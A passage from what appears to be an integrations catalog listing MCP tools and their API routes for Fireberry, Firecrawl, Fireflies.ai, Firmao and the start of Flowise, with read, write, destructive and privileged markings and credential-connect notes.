fireberry_post_api_v3_record_opportunity_batch_delete (write) — Batch delete opportunity records via POST /api/v3/record/opportunity/batch/delete POST /api/v1/fireberry/api/v3/record/opportunity/batch/delete. Scopes: api. fireberry_post_api_v3_record_opportunity_batch_update (write) — Batch update opportunity records via POST /api/v3/record/opportunity/batch/update POST /api/v1/fireberry/api/v3/record/opportunity/batch/update. Scopes: api. fireberry_post_api_v3_record_product_batch_create (write) — Batch create product records via POST /api/v3/record/product/batch/create POST /api/v1/fireberry/api/v3/record/product/batch/create. Scopes: api. fireberry_post_api_v3_record_product_batch_delete (write) — Batch delete product records via POST /api/v3/record/product/batch/delete POST /api/v1/fireberry/api/v3/record/product/batch/delete. Scopes: api. fireberry_post_api_v3_record_product_batch_update (write) — Batch update product records via POST /api/v3/record/product/batch/update POST /api/v1/fireberry/api/v3/record/product/batch/update. Scopes: api. fireberry_post_api_v3_record_project_batch_create (write) — Batch create project records via POST /api/v3/record/project/batch/create POST /api/v1/fireberry/api/v3/record/project/batch/create. Scopes: api. fireberry_post_api_v3_record_project_batch_delete (write) — Batch delete project records via POST /api/v3/record/project/batch/delete POST /api/v1/fireberry/api/v3/record/project/batch/delete. Scopes: api. fireberry_post_api_v3_record_project_batch_update (write) — Batch update project records via POST /api/v3/record/project/batch/update POST /api/v1/fireberry/api/v3/record/project/batch/update. Scopes: api. fireberry_post_api_v3_record_task_batch_create (write) — Batch create task records via POST /api/v3/record/task/batch/create POST /api/v1/fireberry/api/v3/record/task/batch/create. Scopes: api. fireberry_post_api_v3_record_task_batch_delete (write) — Batch delete task records via POST /api/v3/record/task/batch/delete POST /api/v1/fireberry/api/v3/record/task/batch/delete. Scopes: api. fireberry_post_api_v3_record_task_batch_update (write) — Batch update task records via POST /api/v3/record/task/batch/update POST /api/v1/fireberry/api/v3/record/task/batch/update. Scopes: api. fireberry_post_by_objectcode_batch_create (write) — Batch create records via POST /api/v3/record/{objectcode}/batch/create POST /api/v1/fireberry/api/v3/record/{objectcode}/batch/create. Scopes: api. fireberry_post_by_objectcode_batch_update (write) — Batch update records via POST /api/v3/record/{objectcode}/batch/update POST /api/v1/fireberry/api/v3/record/{objectcode}/batch/update. Scopes: api. fireberry_put_api_record_account_by_id (write) — Update an account via PUT /api/record/account/{id} PUT /api/v1/fireberry/api/record/account/{id}. Scopes: api. fireberry_put_api_record_accountproduct_by_id (write) — Update an asset via PUT /api/record/accountproduct/{id} PUT /api/v1/fireberry/api/record/accountproduct/{id}. Scopes: api. fireberry_put_api_record_activity_by_id (write) — Update a meeting via PUT /api/record/activity/{id} PUT /api/v1/fireberry/api/record/activity/{id}. Scopes: api. fireberry_put_api_record_activitylog_by_id (write) — Update an activity log via PUT /api/record/activitylog/{id} PUT /api/v1/fireberry/api/record/activitylog/{id}. Scopes: api. fireberry_put_api_record_article_by_id (write) — Update an article via PUT /api/record/article/{id} PUT /api/v1/fireberry/api/record/article/{id}. Scopes: api. fireberry_put_api_record_businessunit_by_id (write) — Update a business unit via PUT /api/record/businessunit/{id} PUT /api/v1/fireberry/api/record/businessunit/{id}. Scopes: api. fireberry_put_api_record_by_objectcode_by_id (write) — Update a custom object record via PUT /api/record/{objectcode}/{id} PUT /api/v1/fireberry/api/record/{objectcode}/{id}. Scopes: api. fireberry_put_api_record_calllog_by_id (write) — Update a phone call via PUT /api/record/calllog/{id} PUT /api/v1/fireberry/api/record/calllog/{id}. Scopes: api. fireberry_put_api_record_campaign_by_id (write) — Update a campaign via PUT /api/record/campaign/{id} PUT /api/v1/fireberry/api/record/campaign/{id}. Scopes: api. fireberry_put_api_record_cases_by_id (write) — Update a ticket via PUT /api/record/cases/{id} PUT /api/v1/fireberry/api/record/cases/{id}. Scopes: api. fireberry_put_api_record_competitor_by_id (write) — Update a competitor via PUT /api/record/competitor/{id} PUT /api/v1/fireberry/api/record/competitor/{id}. Scopes: api. fireberry_put_api_record_contact_by_id (write) — Update a contact via PUT /api/record/contact/{id} PUT /api/v1/fireberry/api/record/contact/{id}. Scopes: api. fireberry_put_api_record_contract_by_id (write) — Update a contract via PUT /api/record/Contract/{id} PUT /api/v1/fireberry/api/record/Contract/{id}. Scopes: api. fireberry_put_api_record_crmorder_by_id (write) — Update an order via PUT /api/record/crmorder/{id} PUT /api/v1/fireberry/api/record/crmorder/{id}. Scopes: api. fireberry_put_api_record_crmorderitem_by_id (write) — Update an order item via PUT /api/record/crmorderitem/{id} PUT /api/v1/fireberry/api/record/crmorderitem/{id}. Scopes: api. fireberry_put_api_record_crmuser_by_id (write) — Update a user via PUT /api/record/crmuser/{id} PUT /api/v1/fireberry/api/record/crmuser/{id}. Scopes: api. fireberry_put_api_record_invoicecredit_by_id (write) — Update a credit invoice via PUT /api/record/invoicecredit/{id} PUT /api/v1/fireberry/api/record/invoicecredit/{id}. Scopes: api. fireberry_put_api_record_invoicedelivery_by_id (write) — Update a delivery invoice via PUT /api/record/invoicedelivery/{id} PUT /api/v1/fireberry/api/record/invoicedelivery/{id}. Scopes: api. fireberry_put_api_record_invoicedraft_by_id (write) — Update a draft invoice via PUT /api/record/invoicedraft/{id} PUT /api/v1/fireberry/api/record/invoicedraft/{id}. Scopes: api. fireberry_put_api_record_invoiceno_by_id (write) — Update an invoice via PUT /api/record/invoiceno/{id} PUT /api/v1/fireberry/api/record/invoiceno/{id}. Scopes: api. fireberry_put_api_record_invoicereceipt_by_id (write) — Update a receipt via PUT /api/record/invoicereceipt/{id} PUT /api/v1/fireberry/api/record/invoicereceipt/{id}. Scopes: api. fireberry_put_api_record_invoicereno_by_id (write) — Update an invoice receipt via PUT /api/record/invoicereno/{id} PUT /api/v1/fireberry/api/record/invoicereno/{id}. Scopes: api. fireberry_put_api_record_opportunity_by_id (write) — Update an opportunity via PUT /api/record/opportunity/{id} PUT /api/v1/fireberry/api/record/opportunity/{id}. Scopes: api. fireberry_put_api_record_product_by_id (write) — Update a product via PUT /api/record/product/{id} PUT /api/v1/fireberry/api/record/product/{id}. Scopes: api. fireberry_put_api_record_project_by_id (write) — Update a project via PUT /api/record/project/{id} PUT /api/v1/fireberry/api/record/project/{id}. Scopes: api. fireberry_put_api_record_task_by_id (write) — Update a task via PUT /api/record/task/{id} PUT /api/v1/fireberry/api/record/task/{id}. Scopes: api. fireberry_put_api_v2_record_58_by_id (write) — Update a custom object via PUT /api/v2/record/58/{id} PUT /api/v1/fireberry/api/v2/record/58/{id}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_date_by_fieldname (write) — Update a date field via PUT /api/v2/system-field/{objectType}/date/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/date/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_datetime_fieldname (write) — Update a date time field via PUT /api/v2/system-field/{objectType}/datetime/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/datetime/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_emailaddress_by_fieldname (write) — Update an email address field via PUT /api/v2/system-field/{objectType}/emailaddress/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/emailaddress/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_formula_by_fieldname (write) — Update a formula field via PUT /api/v2/system-field/{objectType}/formula/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/formula/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_html_by_fieldname (write) — Update a html field via PUT /api/v2/system-field/{objectType}/html/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/html/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_lookup_by_fieldname (write) — Update a lookup field via PUT /api/v2/system-field/{objectType}/lookup/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/lookup/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_number_by_fieldname (write) — Update a number field via PUT /api/v2/system-field/{objectType}/number/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/number/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_phonenumber_by_fieldname (write) — Update a phone number field via PUT /api/v2/system-field/{objectType}/phonenumber/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/phonenumber/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_summary_by_fieldname (write) — Update a summary field via PUT /api/v2/system-field/{objectType}/summary/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/summary/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_text_by_fieldname (write) — Update a text field via PUT /api/v2/system-field/{objectType}/text/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/text/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_textarea_by_fieldname (write) — Updae a text area field via PUT /api/v2/system-field/{objectType}/textarea/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/textarea/{fieldName}. Scopes: api. fireberry_put_api_v2_system_field_by_objecttype_url_by_fieldname (write) — Update a url field via PUT /api/v2/system-field/{objectType}/url/{fieldName} PUT /api/v1/fireberry/api/v2/system-field/{objectType}/url/{fieldName}. Scopes: api. ================================================================================ ## Firecrawl URL: https://www.agenticfabriq.com/integrations/firecrawl Section: Integrated Tools Firecrawl — 53 MCP tools Provider key: firecrawl. Scopes: api. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. firecrawl_delete_agent_by_jobid (write, destructive) — Cancel an agent job. DELETE /agent/{jobId}. DELETE /api/v1/firecrawl/agent/{jobId}. Scopes: api. firecrawl_delete_batch_scrape_by_id (write, destructive) — Cancel a batch scrape job. DELETE /batch/scrape/{id}. DELETE /api/v1/firecrawl/batch/scrape/{id}. Scopes: api. firecrawl_delete_crawl_by_id (write, destructive) — Cancel a crawl job. DELETE /crawl/{id}. DELETE /api/v1/firecrawl/crawl/{id}. Scopes: api. firecrawl_delete_interact_by_sessionid (write, destructive) — Delete an interact session. DELETE /interact/{sessionId}. DELETE /api/v1/firecrawl/interact/{sessionId}. Scopes: api. firecrawl_delete_monitor_by_monitorid (write, destructive) — Delete a monitor. DELETE /monitor/{monitorId}. DELETE /api/v1/firecrawl/monitor/{monitorId}. Scopes: api. firecrawl_delete_scrape_by_jobid_interact (write, destructive) — Stop the interactive browser session associated with a scrape job. DELETE /scrape/{jobId}/interact. DELETE /api/v1/firecrawl/scrape/{jobId}/interact. Scopes: api. firecrawl_get_agent (read) — List agent runs. GET /agent. GET /api/v1/firecrawl/agent. Scopes: api. firecrawl_get_agent_by_jobid (read) — Get the status of an agent job. GET /agent/{jobId}. GET /api/v1/firecrawl/agent/{jobId}. Scopes: api. firecrawl_get_agent_by_jobid_snapshots_by_snapshotid (read) — Get an output snapshot of an agent job. GET /agent/{jobId}/snapshots/{snapshotId}. GET /api/v1/firecrawl/agent/{jobId}/snapshots/{snapshotId}. Scopes: api. firecrawl_get_agent_by_jobid_trace (read) — Get the execution trace of an agent job. GET /agent/{jobId}/trace. GET /api/v1/firecrawl/agent/{jobId}/trace. Scopes: api. firecrawl_get_batch_scrape_by_id (read) — Get the status of a batch scrape job. GET /batch/scrape/{id}. GET /api/v1/firecrawl/batch/scrape/{id}. Scopes: api. firecrawl_get_batch_scrape_by_id_errors (read) — Get the errors of a batch scrape job. GET /batch/scrape/{id}/errors. GET /api/v1/firecrawl/batch/scrape/{id}/errors. Scopes: api. firecrawl_get_crawl_active (read) — Get all active crawls for the authenticated team. GET /crawl/active. GET /api/v1/firecrawl/crawl/active. Scopes: api. firecrawl_get_crawl_by_id (read) — Get the status of a crawl job. GET /crawl/{id}. GET /api/v1/firecrawl/crawl/{id}. Scopes: api. firecrawl_get_crawl_by_id_errors (read) — Get the errors of a crawl job. GET /crawl/{id}/errors. GET /api/v1/firecrawl/crawl/{id}/errors. Scopes: api. firecrawl_get_extract_by_id (read) — Get the status of an extract job. GET /extract/{id}. GET /api/v1/firecrawl/extract/{id}. Scopes: api. firecrawl_get_interact (read) — List interact sessions. GET /interact. GET /api/v1/firecrawl/interact. Scopes: api. firecrawl_get_monitor (read) — List monitors. GET /monitor. GET /api/v1/firecrawl/monitor. Scopes: api. firecrawl_get_monitor_by_monitorid (read) — Get a monitor. GET /monitor/{monitorId}. GET /api/v1/firecrawl/monitor/{monitorId}. Scopes: api. firecrawl_get_monitor_by_monitorid_checks (read) — List monitor checks. GET /monitor/{monitorId}/checks. GET /api/v1/firecrawl/monitor/{monitorId}/checks. Scopes: api. firecrawl_get_monitor_by_monitorid_checks_by_checkid (read) — Get a monitor check. GET /monitor/{monitorId}/checks/{checkId}. GET /api/v1/firecrawl/monitor/{monitorId}/checks/{checkId}. Scopes: api. firecrawl_get_scrape_by_jobid (read) — Get the status of a scrape job. GET /scrape/{jobId}. GET /api/v1/firecrawl/scrape/{jobId}. Scopes: api. firecrawl_get_search_developer (read) — Search the developer index. GET /search/developer. GET /api/v1/firecrawl/search/developer. Scopes: api. firecrawl_get_search_research_papers (read) — Search papers. GET /search/research/papers. GET /api/v1/firecrawl/search/research/papers. Scopes: api. firecrawl_get_search_research_papers_by_id (read) — Inspect or read a paper. GET /search/research/papers/{id}. GET /api/v1/firecrawl/search/research/papers/{id}. Scopes: api. firecrawl_get_search_research_papers_by_id_similar (read) — Find related papers. GET /search/research/papers/{id}/similar. GET /api/v1/firecrawl/search/research/papers/{id}/similar. Scopes: api. firecrawl_get_team_activity (read) — List recent API activity. GET /team/activity. Lists your team's recent API activity from the last 24 hours. Returns metadata about each job including the job ID, which can be used with the corresponding GET endpoint (e.g. GET /crawl/{id}) to retrieve full results. Supports cursor-based pagination and filtering by endpoint. GET /api/v1/firecrawl/team/activity. Scopes: api. firecrawl_get_team_credit_usage (read) — Get remaining credits for the authenticated team. GET /team/credit-usage. GET /api/v1/firecrawl/team/credit-usage. Scopes: api. firecrawl_get_team_credit_usage_historical (read) — Get historical credit usage for the authenticated team. GET /team/credit-usage/historical. GET /api/v1/firecrawl/team/credit-usage/historical. Scopes: api. firecrawl_get_team_queue_status (read) — Metrics about your team's scrape queue. GET /team/queue-status. GET /api/v1/firecrawl/team/queue-status. Scopes: api. firecrawl_get_team_threat_protection (read) — Get the team's threat protection policy. GET /team/threat-protection. GET /api/v1/firecrawl/team/threat-protection. Scopes: api. firecrawl_get_team_token_usage (read) — Get remaining tokens for the authenticated team (Extract only). GET /team/token-usage. GET /api/v1/firecrawl/team/token-usage. Scopes: api. firecrawl_get_team_token_usage_historical (read) — Get historical token usage for the authenticated team (Extract only). GET /team/token-usage/historical. GET /api/v1/firecrawl/team/token-usage/historical. Scopes: api. firecrawl_patch_monitor_by_monitorid (write) — Update a monitor. PATCH /monitor/{monitorId}. PATCH /api/v1/firecrawl/monitor/{monitorId}. Scopes: api. firecrawl_post_agent (write) — Start an agent task for agentic data extraction. POST /agent. POST /api/v1/firecrawl/agent. Scopes: api. firecrawl_post_batch_scrape (write) — Scrape multiple URLs and optionally extract information using an LLM. POST /batch/scrape. POST /api/v1/firecrawl/batch/scrape. Scopes: api. firecrawl_post_crawl (write) — Crawl multiple URLs based on options. POST /crawl. POST /api/v1/firecrawl/crawl. Scopes: api. firecrawl_post_crawl_params_preview (write) — Preview crawl parameters generated from natural language prompt. POST /crawl/params-preview. POST /api/v1/firecrawl/crawl/params-preview. Scopes: api. firecrawl_post_extract (write) — Extract structured data from pages using LLMs. POST /extract. POST /api/v1/firecrawl/extract. Scopes: api. firecrawl_post_feedback (write) — Submit feedback for a v2 job. POST /feedback. POST /api/v1/firecrawl/feedback. Scopes: api. firecrawl_post_interact (write) — Create an interact session. POST /interact. POST /api/v1/firecrawl/interact. Scopes: api. firecrawl_post_interact_by_sessionid_execute (write) — Execute code in an interact session. POST /interact/{sessionId}/execute. POST /api/v1/firecrawl/interact/{sessionId}/execute. Scopes: api. firecrawl_post_map (write) — Map multiple URLs based on options. POST /map. POST /api/v1/firecrawl/map. Scopes: api. firecrawl_post_monitor (write) — Create a monitor. POST /monitor. POST /api/v1/firecrawl/monitor. Scopes: api. firecrawl_post_monitor_by_monitorid_run (write) — Run a monitor. POST /monitor/{monitorId}/run. POST /api/v1/firecrawl/monitor/{monitorId}/run. Scopes: api. firecrawl_post_scrape (write) — Scrape a single URL and optionally extract information using an LLM. POST /scrape. POST /api/v1/firecrawl/scrape. Scopes: api. firecrawl_post_scrape_by_jobid_interact (write) — Interact with the browser session associated with a scrape job. POST /scrape/{jobId}/interact. POST /api/v1/firecrawl/scrape/{jobId}/interact. Scopes: api. firecrawl_post_search (write) — Search and optionally scrape search results. POST /search. POST /api/v1/firecrawl/search. Scopes: api. firecrawl_post_search_by_jobid_feedback (write) — Submit feedback for a search job. POST /search/{jobId}/feedback. POST /api/v1/firecrawl/search/{jobId}/feedback. Scopes: api. firecrawl_post_search_developer (write) — Search the developer index. POST /search/developer. POST /api/v1/firecrawl/search/developer. Scopes: api. firecrawl_post_support_ask (write) — Ask the Firecrawl support agent. POST /support/ask. Diagnose Firecrawl job, account, and API usage issues with an AI support agent. POST /api/v1/firecrawl/support/ask. Scopes: api. firecrawl_post_support_docs_search (write) — Search Firecrawl docs with citations. POST /support/docs-search. Answer Firecrawl documentation questions using the public docs corpus. POST /api/v1/firecrawl/support/docs-search. Scopes: api. firecrawl_put_team_threat_protection (write) — Update the team's threat protection policy. PUT /team/threat-protection. Full-document update. Unspecified fields reset to defaults. Enterprise feature, team admins only. PUT /api/v1/firecrawl/team/threat-protection. Scopes: api. ================================================================================ ## Fireflies.ai URL: https://www.agenticfabriq.com/integrations/fireflies Section: Integrated Tools Fireflies.ai — 34 MCP tools Provider key: fireflies. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. fireflies_add_to_live_meeting (write) — Send the Fireflies notetaker into a meeting that is happening now, by its join link. Fireflies refuses a link whose platform it does not support. GraphQL mutation addToLiveMeeting. POST /api/v1/fireflies/live-meetings. Scopes: api. fireflies_continue_askfred_thread (write) — Ask a follow-up question in an existing AskFred thread, keeping its context. GraphQL mutation continueAskFredThread. POST /api/v1/fireflies/askfred/threads/{thread_id}/messages. Scopes: api. fireflies_create_askfred_thread (write) — Start an AskFred thread: ask a question about one meeting, or across a filtered set of meetings. GraphQL mutation createAskFredThread. POST /api/v1/fireflies/askfred/threads. Scopes: api. fireflies_create_live_action_item (write) — Ask Fireflies to extract an action item from a meeting in progress, using a prompt. GraphQL mutation createLiveActionItem. POST /api/v1/fireflies/meetings/{meeting_id}/live-action-items. Scopes: api. fireflies_create_live_soundbite (write) — Ask Fireflies to clip a soundbite from a meeting in progress, using a prompt. GraphQL mutation createLiveSoundbite. POST /api/v1/fireflies/meetings/{meeting_id}/live-soundbites. Scopes: api. fireflies_create_soundbite (write) — Clip a section of a meeting between two timestamps into a shareable soundbite. GraphQL mutation createBite. POST /api/v1/fireflies/bites. Scopes: api. fireflies_delete_askfred_thread (write, destructive) — Permanently delete an AskFred thread and its questions and answers. DESTRUCTIVE: the thread cannot be restored. GraphQL mutation deleteAskFredThread. DELETE /api/v1/fireflies/askfred/threads/{id}. Scopes: api. fireflies_delete_transcript (write, destructive) — Permanently delete a meeting transcript and its recording. DESTRUCTIVE: the meeting and everything derived from it are removed and cannot be restored through this API. GraphQL mutation deleteTranscript. DELETE /api/v1/fireflies/transcripts/{id}. Scopes: api. fireflies_get_analytics (read) — Team and per-user conversation analytics: meeting counts and durations, talk/listen ratio, filler words, questions, monologues and sentiment. The window between start_time and end_time must be at most about 30 days and must run forwards; either bound on its own is also accepted. GraphQL query analytics. GET /api/v1/fireflies/analytics. Scopes: api. fireflies_get_askfred_thread (read) — Fetch one AskFred thread by id, with every question and answer in it. GraphQL query askfred_thread. GET /api/v1/fireflies/askfred/threads/{id}. Scopes: api. fireflies_get_channel (read) — Fetch one meeting channel by id, with its members. GraphQL query channel. GET /api/v1/fireflies/channels/{id}. Scopes: api. fireflies_get_soundbite (read) — Fetch one soundbite by id, with its media sources and captions. GraphQL query bite. GET /api/v1/fireflies/bites/{id}. Scopes: api. fireflies_get_transcript (read) — Fetch one meeting transcript in full: every sentence with its speaker and timings, the AI summary and chapters, conversation analytics, attendees, channels and who it is shared with. GraphQL query transcript. GET /api/v1/fireflies/transcripts/{id}. Scopes: api. fireflies_get_user (read) — Fetch one Fireflies user by id, with their groups, integrations and usage counters. GraphQL query user. GET /api/v1/fireflies/users/{id}. Scopes: api. fireflies_list_active_meetings (read) — List meetings the Fireflies notetaker is in right now, optionally narrowed to one organizer or to the active or paused states. GraphQL query active_meetings. GET /api/v1/fireflies/active-meetings. Scopes: api. fireflies_list_app_outputs (read) — List the outputs Fireflies apps produced for meetings, optionally narrowed to one app or one transcript. Note: Fireflies answers an internal server error rather than a not-found when transcript_id names no transcript. GraphQL query apps. GET /api/v1/fireflies/apps. Scopes: api. fireflies_list_askfred_threads (read) — List AskFred conversation threads, optionally only those about one transcript. GraphQL query askfred_threads. GET /api/v1/fireflies/askfred/threads. Scopes: api. fireflies_list_audit_events (read) — List workspace audit events for one required category, with a cursor for paging. Requires an enterprise plan: other plans are answered 'You need to be subscribed to an enterprise plan to perform this action'. GraphQL query auditEvents. GET /api/v1/fireflies/audit-events. Scopes: api. fireflies_list_channels (read) — List the workspace's meeting channels and their members. GraphQL query channels. GET /api/v1/fireflies/channels. Scopes: api. fireflies_list_contacts (read) — List the people the connected user has met with, and the date each was last met. GraphQL query contacts. GET /api/v1/fireflies/contacts. Scopes: api. fireflies_list_live_action_items (read) — List the action items Fireflies has extracted so far from a meeting that is still in progress. GraphQL query live_action_items. GET /api/v1/fireflies/meetings/{meeting_id}/live-action-items. Scopes: api. fireflies_list_rule_executions (read) — List Fireflies automation rules that ran, grouped by meeting, with a cursor for paging. Requires an enterprise plan: other plans are answered 'You need to be subscribed to an enterprise plan to perform this action'. GraphQL query rule_executions_by_meeting. GET /api/v1/fireflies/rule-executions. Scopes: api. fireflies_list_soundbites (read) — List soundbites -- clipped meeting highlights. Fireflies REQUIRES at least one of mine, my_team or transcript_id; without one it answers 'You must provide one of the following: mine, transcript_id, my_team'. GraphQL query bites. GET /api/v1/fireflies/bites. Scopes: api. fireflies_list_transcripts (read) — List meeting transcripts visible to the connected user. Filter by title, keyword, date or date range, channel, organizer or participant. Returns metadata and speakers; use Get a transcript for sentences and the AI summary. Email filters are format-validated by Fireflies -- a single-character top-level domain is rejected. GraphQL query transcripts. GET /api/v1/fireflies/transcripts. Scopes: api. fireflies_list_user_groups (read) — List the workspace's user groups and their members. GraphQL query user_groups. GET /api/v1/fireflies/user-groups. Scopes: api. fireflies_list_users (read) — List the users in the connected Fireflies workspace, with their groups and usage counters. GraphQL query users. GET /api/v1/fireflies/users. Scopes: api. fireflies_move_meetings_to_channel (write) — Move one or more meeting transcripts into a channel. GraphQL mutation updateMeetingChannel. POST /api/v1/fireflies/channels/{channel_id}/transcripts. Scopes: api. fireflies_revoke_shared_meeting_access (write, destructive) — Withdraw one person's access to a meeting that was shared with them. DESTRUCTIVE: their access is removed. GraphQL mutation revokeSharedMeetingAccess. DELETE /api/v1/fireflies/meetings/{meeting_id}/share. Scopes: api. fireflies_set_user_role (write) — Make a workspace user an admin or an ordinary user. PRIVILEGED: this grants or removes administrative control of the workspace. Only a workspace admin may call it; others are answered 'You do not have permissions for this team'. GraphQL mutation setUserRole. POST /api/v1/fireflies/users/{user_id}/role. Scopes: api. fireflies_share_meeting (write) — Share a meeting by email or as a password-protected link. PRIVILEGED: this discloses the meeting's contents to the named recipients and re-running the tool does not undo it -- use Revoke shared meeting access. GraphQL mutation shareMeeting. POST /api/v1/fireflies/meetings/{meeting_id}/share. Scopes: api. fireflies_update_meeting_privacy (write) — Change a meeting's visibility. PRIVILEGED: this widens or narrows who can read the transcript, and re-running the tool does not undo an exposure it has already created. GraphQL mutation updateMeetingPrivacy. POST /api/v1/fireflies/transcripts/{id}/privacy. Scopes: api. fireflies_update_meeting_state (write) — Pause or resume the Fireflies notetaker's recording of a meeting that is in progress. GraphQL mutation updateMeetingState. POST /api/v1/fireflies/meetings/{meeting_id}/state. Scopes: api. fireflies_update_meeting_title (write) — Change the title of a meeting transcript. GraphQL mutation updateMeetingTitle. POST /api/v1/fireflies/transcripts/{id}/title. Scopes: api. fireflies_upload_audio (write) — Submit a publicly reachable audio or video URL for Fireflies to transcribe as a meeting. Fireflies rejects content under 50kb. GraphQL mutation uploadAudio. POST /api/v1/fireflies/audio-uploads. Scopes: api. ================================================================================ ## Firmao URL: https://www.agenticfabriq.com/integrations/firmao Section: Integrated Tools Firmao — 29 MCP tools Provider key: firmao. Scopes: api. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. firmao_delete_by_objecttype_by_id (write, destructive) — Delete object via DELETE /{objectType}/{id} DELETE /api/v1/firmao/{objectType}/{id}. Scopes: api. firmao_get_contacts (read) — List contacts via GET /contacts GET /api/v1/firmao/contacts. Scopes: api. firmao_get_customergroups (read) — List customer groups via GET /customergroups GET /api/v1/firmao/customergroups. Scopes: api. firmao_get_customers (read) — List customers via GET /customers GET /api/v1/firmao/customers. Scopes: api. firmao_get_documents (read) — List documents via GET /documents GET /api/v1/firmao/documents. Scopes: api. firmao_get_invoicenumbers (read) — List invoice numbers via GET /invoicenumbers GET /api/v1/firmao/invoicenumbers. Scopes: api. firmao_get_invoicenumbers_next (read) — Get next invoice number via GET /invoicenumbers/next GET /api/v1/firmao/invoicenumbers/next. Scopes: api. firmao_get_offers (read) — List offers via GET /offers GET /api/v1/firmao/offers. Scopes: api. firmao_get_products (read) — List products via GET /products GET /api/v1/firmao/products. Scopes: api. firmao_get_projects (read) — List projects via GET /projects GET /api/v1/firmao/projects. Scopes: api. firmao_get_salesnotes (read) — List sales notes via GET /salesnotes GET /api/v1/firmao/salesnotes. Scopes: api. firmao_get_storagedocs (read) — List storage docs via GET /storagedocs GET /api/v1/firmao/storagedocs. Scopes: api. firmao_get_tasks (read) — List tasks via GET /tasks GET /api/v1/firmao/tasks. Scopes: api. firmao_get_transactionentries (read) — List transaction entries via GET /transactionentries GET /api/v1/firmao/transactionentries. Scopes: api. firmao_get_transactions (read) — List transactions via GET /transactions GET /api/v1/firmao/transactions. Scopes: api. firmao_post_agreements (write) — Create agreement via POST /agreements POST /api/v1/firmao/agreements. Scopes: api. firmao_post_contacts (write) — Create contact via POST /contacts POST /api/v1/firmao/contacts. Scopes: api. firmao_post_customers (write) — Create customer via POST /customers POST /api/v1/firmao/customers. Scopes: api. firmao_post_offers (write) — Create offer via POST /offers POST /api/v1/firmao/offers. Scopes: api. firmao_post_products (write) — Create product via POST /products POST /api/v1/firmao/products. Scopes: api. firmao_post_projects (write) — Create project via POST /projects POST /api/v1/firmao/projects. Scopes: api. firmao_post_salesnotes (write) — Create salesnote via POST /salesnotes POST /api/v1/firmao/salesnotes. Scopes: api. firmao_post_tasks (write) — Create task via POST /tasks POST /api/v1/firmao/tasks. Scopes: api. firmao_post_timeentries (write) — Create time entry via POST /timeentries POST /api/v1/firmao/timeentries. Scopes: api. firmao_post_transactions (write) — Create transaction via POST /transactions POST /api/v1/firmao/transactions. Scopes: api. firmao_put_by_objecttype_by_id (write) — Update object via PUT /{objectType}/{id} PUT /api/v1/firmao/{objectType}/{id}. Scopes: api. firmao_put_customers_by_id (write) — Update customer via PUT /customers/{id} PUT /api/v1/firmao/customers/{id}. Scopes: api. firmao_put_products_by_id (write) — Update product via PUT /products/{id} PUT /api/v1/firmao/products/{id}. Scopes: api. firmao_put_timeentries_by_id (write) — Update time entry via PUT /timeentries/{id} PUT /api/v1/firmao/timeentries/{id}. Scopes: api. ================================================================================ ## Flowise URL: https://www.agenticfabriq.com/integrations/flowise Section: Integrated Tools Flowise — 45 MCP tools Provider key: flowise. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. flowise_delete_assistants_by_id (write, destructive) — Delete an assistant. DELETE /assistants/{id}. Delete an assistant by ID. DELETE /api/v1/flowise/assistants/{id}. Scopes: api. flowise_delete_chatflows_by_id (write, destructive) — Delete a 